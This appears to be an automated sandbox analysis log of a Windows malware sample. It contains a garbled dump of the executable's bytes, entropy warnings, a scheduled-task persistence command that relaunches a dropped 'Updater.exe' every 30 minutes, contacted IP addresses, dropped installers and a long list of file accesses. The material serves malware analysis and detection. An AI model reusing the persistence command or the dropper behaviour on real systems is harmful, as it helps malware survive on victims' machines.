 buffer: MZÿÿ¸@ິ Í!¸LÍ!This program cannot be run in DOS mode. $DÝ~²¼á¼á¼áî…á¼áî“áO¼áî”á%¼á'zká ¼á¼á[¼áîšá¼áî„á¼áîá¼áRich¼áPEL!îŸcà  †bý( @à"‡g|Öd xÐ`É |.text `.rdataB? @Š@@.data,àÊ@À.tlsÍ  Ú@À.rsrcx° Òä@@VD$P‹ñè—Ǽ¡B‹Æ^ÂÌÌÌÌÌÌÌǼ¡Bé¡ÌÌÌÌÌV‹ñǼ¡BèŽöD$t VèåƒÄ‹Æ^ÂÌÌÌÌÌÌÌÌÌÌÌ̍ ‹D$QR‹T$  QRèăÄÃÌÌÌÌ̍ ‹D$QR‹T$  QRè7ƒÄÃÌÌÌÌÌf‹f‰ ÃÌÌÌÌÌÌÌÌ̍Pf‹ƒÀf…Éuõ+ÂÑøÃÌÌÌÌÌÌÌÌÌÌÌÌÌV‹ñ3ÉÇFÇFf‰N‹ÈWyIf‹ƒÁf…Òuõ+ÏÑùQèÛ_‹Æ^ÃÌÌÌÌÌ̃~r ‹FPèƒÄ3ÉÇFÇFf‰NÃÌÌÌÌÌÌÌÌ̋ÈVqf‹ƒÁf…Òuõ+΋t$ÑùQè^ÂÌÌÌÌÌÌÌÌÌÌÌÌ̀|$t*ƒr$GS‹…öv 6QSjP觃ÄS蓃Ä[3ÒÇG‰wf‰TwÂÌÌÌÌÌÌÌÌÌÌÌÂÌÌÌÌÌÌÌÌÌÌÌÌÌÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌS‹ØW…ÛtI‹VFƒúr‹ë‹È;Ùr4ƒúr‹ë‹È‹~ y;Ëvƒúr‹‹T$ +ØRÑûS‹Æ‹Îè”_[ÂU‹l$‹ý‹Æè1„Àt6‹N~ƒùr‹ë‹ÇíUSÉQPèÚ‹T$ ƒÄƒ~‰Vr‹?3Àf‰/]_‹Æ[ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ3҃x‰Hr‹@f‰HÃf‰THÃÌÌÌÌÌÌÌPèzYÃÌÌÌÌÌÌÌÌSU‹l$ V‹ØW‹ñ9ksèµ ‹{‹D$+ý;Çs‹ø;óu/ƒÈÿè‹Å3Ûè_‹Æ^][‹Æèc„ÀtLƒ{r‹KëKƒ~nr‹Eë‹Å‹T$ Q?SQ‹N RPèóƒÄƒ~‰~r‹m3Àf‰+_‹Æ^][ÂÌÌÌÌÌÌÌÌÌÌV‹ðÿþÿÿvè¿‹F;Çs‹FPWVè.3Ò;×À÷Ø^Åÿu"‰~ƒør‹v3É3Ò;×Àf‰÷Ø^ÃÆ3Éf‰3Ò;×À÷Ø^ÃÌÌÌÌV…ÿt*‹rBƒþr‹ë‹È;ùrƒþr‹‹JH;×v°^Ã2À^ÃÌÌÌÌÌÌÌÌÌÌÌÌ̃ìW‹ø9^sèk ‹F+Ã;Çs‹ø…ÿvi‹NUnƒùr ‹U‰T$ë‰l$ƒùr ‹U‰T$ ë‰l$ ‹T$+ÇÀP;B+ËPÉQ‹L$YRèR ‹F+ǃă~‰Fr‹m3Éf‰LE]‹Æ_ƒÄÃ̋@ÃÌÌÌÌÌÌÌÌÌÌÌ̸þÿÿÃÌÌÌÌÌÌÌÌÌÌU‹ìjÿhÀ”Bd¡PƒìSVW¡áB3ÅPEôd£‰eð‹E ‹}‹ðƒÎþþÿÿv‹ðë"‹_¸«ªªª÷æ‹ËÑéÑê;Ñs¸þÿÿ+Á;Øw43ۍN‰]ü;Ëw3ɍ PèoƒÄ‹ØëWƒÈÿ3Ò÷ñƒøsäMìQM܉]ìèG hàÕBUÜRÇEܼ¡Bè)‹E H‰eð‰E ÆEüèù‰E踐@Ë}‹u ‹]è‹M…Év#ƒr‹GëGÉQPT6RSè~‹MƒÄƒr‹GPè^‹MƒÄG3҉‰w‰Oƒþr‹Ã3Òf‰H‹Môd‰ Y_^[‹å] ‹uƒ~r ‹FPèƒÄ3ÉQÇFÇFQf‰NèeÌÌÌÌÌÌÌÌÌ̃xr‹@ÃÀÃÌ̸ÿÿÿÃÌÌÌÌÌÌÌÌÌ̍ ‹D$QR QVèȃċÆÃÌÌÌÌÌÌ̃ì…Éw3ɍ RèƒÄƒÄÃÈÿ3Ò÷ñƒøsä$PL$ÇD$èê hàÕBL$QÇD$ ¼¡BèÊÌÌÌÌÌÌÌÌÌÌÌÌÌÌ̋D$VP‹ñè' Ǽ¡B‹Æ^ÂÌÌÌÌÌÌÌQŠD$YÃÌÌÌÌÌÌÌÌ̍ ‹D$QR QV諃ċÆÃÌÿ%€ Bÿ%t Bÿ%x Bÿ%@ Bÿ% Bÿ% Bÿ% Bÿ% Bÿ%  Bÿ%$ Bÿ%( Bÿ%, Bÿ%0 Bÿ%4 Bÿ%8 Bÿ%< Bÿ%| Bÿ%D Bÿ%H Bÿ%L Bÿ%P Bÿ%T Bÿ%X Bÿ%\ Bÿ%` Bÿ%d Bÿ%h Bÿ%t¡Bÿ% Bÿ% B‹ÿU‹ì‹E Š‹Mˆ]ËÿU‹ì]é‹ÿU‹ìÿuÿuÿu ÿuè+ ‹EƒÄ]ËÿU‹ìÿuÿuÿu ÿuè ‹EƒÄ]ËAËÿU‹ìÿuèé Y]‹ÿU‹ìƒ}Vt+‹qAƒþr‹ë‹Ð9Urƒþr‹‹IÈ;Mv°ë2À^]ƒÈÿËÿU‹ì‹Mƒì …Éw 3ÉQèYÉÃÈÿ3Ò÷ñƒøsëjMôèB÷ÿÿhàÕBEôPèÏ̋ÿU‹ìQŠEÿÉËÿU‹ìÿuÿuÿu ÿuè ÿÿÿƒÄ]ËÿU‹ìÿuÿuÿu ÿuèÿÿÿƒÄ]ËÁ‹ÿU‹ìƒy‹E‰Ar‹IëƒÁÆ]ÂjþXËÿU‹ìjÿuèGÿÿÿYY]‹ÿU‹ìQÿuüÿuÿuÿu ÿuèqÿÿÿƒÄÉËÿU‹ìQÿuüÿuÿuÿu ÿuèmÿÿÿƒÄÉËÿU‹ì€}V‹ñt)ƒ~r#ƒ} FW‹8vÿu WjPè–ÿÿÿƒÄWèp Y_ÿu ‹ÎÇFè@ÿÿÿ^]Âj ¸@”Bè;‹ù‰}è‹uƒÎƒþþv‹uë%3Òj‹Æ[÷ó‹O‰MìÑmì‹Uì;Âs jþX+Â;Èw4 ƒeüFP‹Ïè ÿÿÿ‹Øë)‹E‹Mè‰E@‰eðPÆEüèðþÿÿ‰Eì¸Q@Ë}è‹u‹]ìƒ} vƒr‹GëGÿu PFPSèÑþÿÿƒÄjj‹Ïèÿÿÿÿu ‹Ï‰_‰wèyþÿÿè%‹Mè3öVjèÜþÿÿVVèåÌjjèËþÿÿÃj¸†”Bè‹ñ‰uðè¼ÿuƒeüN ÇÈ¡Bè‹Æèуyr‹AÍAÃy$r‹AÍAËÿV‹ñjjN ÇÈ¡Bèbþÿÿ‹Î^雋ÿU‹ìV‹ñèÔÿÿÿöEtVèæ Y‹Æ^]‹ÿU‹ìVÿu‹ñè_ÿÿÿÇÔ¡B‹Æ^]ÂÇÔ¡Bé˜ÿÿÿ‹ÿU‹ìV‹ñÇÔ¡Bè…ÿÿÿöEtVè— Y‹Æ^]‹ÿU‹ìVÿu‹ñèÿÿÿÇà¡B‹Æ^]ÂÇà¡BéIÿÿÿ‹ÿU‹ìV‹ñÇà¡Bè6ÿÿÿöEtVèH Y‹Æ^]‹ÿU‹ìVÿu‹ñèÁþÿÿ
request_handle: 0x00cc000c
1 1 0
section {u'size_of_data': u'0x006b0e00', u'virtual_address': u'0x00002000', u'entropy': 7.964969129070033, u'name': u'.text', u'virtual_size': u'0x006b0c54'} entropy 7.96496912907 description A section with a high entropy has been found
entropy 0.999708178303 description Overall entropy of this PE file is high
cmdline chcp 1251
cmdline schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
host 185.172.128.53
host 185.172.128.90
file C:\Users\test22\AppData\Local\Temp\SandboxieInstall.exe
cmdline schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
file C:\Users\test22\AppData\Local\Temp\InstallSetup7.exe
process InstallSetup7.exe useragent NSIS_Inetc (Mozilla)
process rty25.exe useragent HTTPREAD
file C:\Windows\Prefetch\SDIAGNHOST.EXE-8D72177C.pf
file C:\Windows\Prefetch\CHCP.COM-198E8AEB.pf
file c:\Windows\Temp\fwtsqmfile01.sqm
file C:\Windows\Prefetch\CSC.EXE-BE9AC2DF.pf
file c:\Windows\Temp\fwtsqmfile00.sqm
file C:\Windows\Prefetch\RUNDLL32.EXE-87432CEE.pf
file C:\Windows\Prefetch\WERMGR.EXE-0F2AC88C.pf
file C:\Windows\Prefetch\RUNDLL32.EXE-7BCB21A1.pf
file C:\Windows\Prefetch\INJECT-X64.EXE-AAEEB6EB.pf
file C:\Windows\Prefetch\Layout.ini
file C:\Windows\Prefetch\LOGONUI.EXE-09140401.pf
file C:\Users\test22\AppData\Local\Temp\~DF8C0F100C7231519A.TMP
file C:\Windows\Prefetch\IEXPLORE.EXE-908C99F8.pf
file C:\Windows\Prefetch\SETUP.EXE-A9A86358.pf
file C:\Windows\Prefetch\SEARCHINDEXER.EXE-4A6353B9.pf
file C:\Windows\Prefetch\SVCHOST.EXE-CF79EE4C.pf
file C:\Windows\Prefetch\IS32BIT.EXE-9A90D66E.pf
file C:\Windows\Prefetch\SEARCHFILTERHOST.EXE-77482212.pf
file C:\Windows\Prefetch\MAINTENANCESERVICE.EXE-FA0B1B99.pf
file C:\Windows\Prefetch\PING.EXE-7E94E73E.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTDTA402\uglified_jindo[1].js
file C:\Windows\Prefetch\ReadyBoot\Trace9.fx
file C:\Windows\Prefetch\SETUP-STUB.EXE-8F842224.pf
file C:\Users\test22\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A
file C:\Windows\Prefetch\DLLHOST.EXE-40DD444D.pf
file C:\Windows\Prefetch\MSIEXEC.EXE-A2D55CB6.pf
file C:\Windows\Prefetch\REGSVR32.EXE-8461DBEE.pf
file C:\Windows\Prefetch\PW.EXE-1D40DDAD.pf
file C:\Windows\Prefetch\ReadyBoot\Trace1.fx
file C:\Windows\Prefetch\AgGlGlobalHistory.db
file C:\Windows\Prefetch\DEFAULT-BROWSER-AGENT.EXE-01C82E17.pf
file C:\Windows\Prefetch\INJECT-X86.EXE-6FB1ED76.pf
file C:\Windows\Prefetch\INJECT-X64.EXE-7E2195F2.pf
file C:\Windows\Prefetch\DEFRAG.EXE-588F90AD.pf
file C:\Windows\Prefetch\ReadyBoot\Trace8.fx
file C:\Windows\Prefetch\WMIADAP.EXE-F8DFDFA2.pf
file C:\Windows\Prefetch\CONTROL.EXE-817F8F1D.pf
file C:\Windows\Prefetch\SVCHOST.EXE-5901D5E8.pf
file C:\Windows\Prefetch\MMC.EXE-561C5A40.pf
file C:\Windows\Prefetch\MSCORSVW.EXE-90526FAC.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\MSIMGSIZ.DAT
file C:\Windows\Prefetch\W32TM.EXE-1101AF41.pf
file C:\Windows\Prefetch\MSCORSVW.EXE-57D17DAF.pf
file C:\Windows\Prefetch\7ZG.EXE-0F8C4081.pf
file C:\Users\test22\AppData\Local\Temp\IME2010imeklmg00000009.log
file C:\Windows\Prefetch\SVCHOST.EXE-A1476A17.pf
file C:\Windows\Prefetch\PfSvPerfStats.bin
file C:\Windows\Prefetch\SVCHOST.EXE-80F4A784.pf
file C:\Windows\Prefetch\MSCORSVW.EXE-C3C515BD.pf
file C:\Windows\Prefetch\EDITPLUS.EXE-BB0BC86D.pf
file C:\Users\test22\AppData\Local\Temp\nsaF06A.tmp
file C:\Users\test22\AppData\Local\Temp\nswF2BD.tmp
file C:\Users\test22\AppData\Local\Temp\nswF2BD.tmp\INetC.dll
file C:\Users\test22\AppData\Local\Temp\SetupExe(20200504224110B04).log
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\dthumb[10].jpg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTDTA402\dthumb[3].png
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\1F4WQUHZ\dropbox_logo_text_2015-vfld7_dJ8[1].svg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\013[1].png
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTDTA402\sprite-20210713@2x[2].png
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTDTA402\7028d2d448816aeaab0e_20211029092933036[1].jpg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTDTA402\spr_lft_white_150916[1].png
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\AdPostInjectAsync[1].nhn
file c:\Windows\Temp\fwtsqmfile01.sqm
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\dthumbCAUKPFFO.jpg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\m_920_294_0729[1].png
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\cropImg_196x196_38699317823237099[1].jpg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\e84a7e15-e6a9-41ec-9eb7-883e9b5e7249[1].jpg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\348acc74d7ad9acbdda7_20211101182838273[1].jpg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\1_237[1].png
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\favicon[3].png
file C:\Windows\Prefetch\WMIADAP.EXE-F8DFDFA2.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\dthumb[9].jpg
file C:\Windows\Prefetch\SVCHOST.EXE-80F4A784.pf
file C:\Users\test22\AppData\Local\Temp\dd_vcredist_amd64_20180201144548_000_vcRuntimeMinimum_x64.log
file C:\Users\test22\AppData\Local\Temp\BroomSetup.exe
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\desktop.ini
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTDTA402\jquery-1.12.4.min_v1[1].js
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\w[1].css
file C:\Windows\Prefetch\MAINTENANCESERVICE.EXE-FA0B1B99.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\S6uyw4BMUTPHjx4wWA[1].woff
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\CURBIYE7\icon_spacer-vflN3BYt2[1].gif
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\3a7f4c4cb962a54fae75_20200728093632144[1].jpg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\cropImg_728x360_77691188554226350[1].jpg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTDTA402\8c9b6e5b-4abb-45c6-9aa7-aa28806e8e84[1].jpg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\TopNav[1].js
file C:\Windows\Prefetch\CONTROL.EXE-817F8F1D.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTDTA402\adf7905c-28ea-4ddf-93b2-aa96dad57752[1].jpg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\977[1].png
file C:\Windows\Prefetch\MSCORSVW.EXE-90526FAC.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\015[1].png
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\dthumbCAR5WT7S.jpg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\smart_editor2.me.min.200716[1].css
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTDTA402\ipsec[3].htm
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\nsd13728808[1].png
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\327[1].png
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\sample-doc-download[1].htm
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\SOC-Facebook[1].png
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\f[2].txt
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\images[1].png
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\f1e83251-9248-4d4e-8d2e-d1505a55bc83[1].jpg
file C:\Windows\Prefetch\VBOXDRVINST.EXE-7DCD6070.pf